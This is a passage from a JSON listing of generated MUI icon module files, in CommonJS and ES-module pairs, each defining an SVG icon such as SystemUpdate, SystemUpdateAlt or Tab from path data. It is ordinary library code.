    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"2\")], 'SystemSecurityUpdateWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"2\")], 'SystemSecurityUpdateWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 18H7V6h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 18H7V6h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"3\")], 'SystemSecurityUpdateWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"3\")], 'SystemSecurityUpdateWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 16.5 4-4h-3v-9h-2v9H8zm9-13h-6v1.99h6v14.03H3V5.49h6V3.5H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-14c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 16.5 4-4h-3v-9h-2v9H8zm9-13h-6v1.99h6v14.03H3V5.49h6V3.5H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-14c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 13 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 13 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.35 15.65 2.79-2.79c.31-.31.09-.85-.35-.85H13V4c0-.55-.45-1-1-1s-1 .45-1 1v8H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.19.2.51.2.7.01M21 3h-5.01c-.54 0-.99.45-.99.99 0 .55.45.99.99.99H20c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h4.01c.54 0 .99-.45.99-.99 0-.55-.45-1-.99-1H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.35 15.65 2.79-2.79c.31-.31.09-.85-.35-.85H13V4c0-.55-.45-1-1-1s-1 .45-1 1v8H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.19.2.51.2.7.01M21 3h-5.01c-.54 0-.99.45-.99.99 0 .55.45.99.99.99H20c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V5.99c0-.55.45-1 1-1h4.01c.54 0 .99-.45.99-.99 0-.55-.45-1-.99-1H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 13 4-4h-3V3h-2v9H8zM23 3h-8v1.99h6v14.03H3V4.99h6V3H1v18h22z\"\n}), 'SystemUpdateAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 13 4-4h-3V3h-2v9H8zM23 3h-8v1.99h6v14.03H3V4.99h6V3H1v18h22z\"\n}), 'SystemUpdateAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 16 4-4h-3V3h-2v9H8zm9-13h-6v1.99h6v14.03H3V4.99h6V3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'SystemUpdateAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-2.21-6H13V9c0-.55-.45-1-1-1s-1 .45-1 1v4H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SystemUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-2.21-6H13V9c0-.55-.45-1-1-1s-1 .45-1 1v4H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SystemUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 18H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 18H7V5h10zm-1-6h-3V8h-2v5H8l4 4z\"\n}), 'SystemUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V5H7zm4-6V8h2v5h3l-4 4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13h-3V8h-2v5H8l4 4zm1-11.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'SystemUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemUpdateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V5H7zm4-6V8h2v5h3l-4 4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13h-3V8h-2v5H8l4 4zm1-11.99L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10z\"\n}, \"1\")], 'SystemUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tab.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'Tab');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tab.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'Tab');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'TabOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8z\"\n}), 'TabOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h9v3c0 .55.45 1 1 1h7v9c0 .55-.45 1-1 1\"\n}), 'TabRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h9v3c0 .55.45 1 1 1h7v9c0 .55-.45 1-1 1\"\n}), 'TabRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8zm2-16H1v18h22zm-2 16H3V5h10v4h8z\"\n}), 'TabSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h10v4h8zm2-16H1v18h22zm-2 16H3V5h10v4h8z\"\n}), 'TabSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabTwoTone.js",
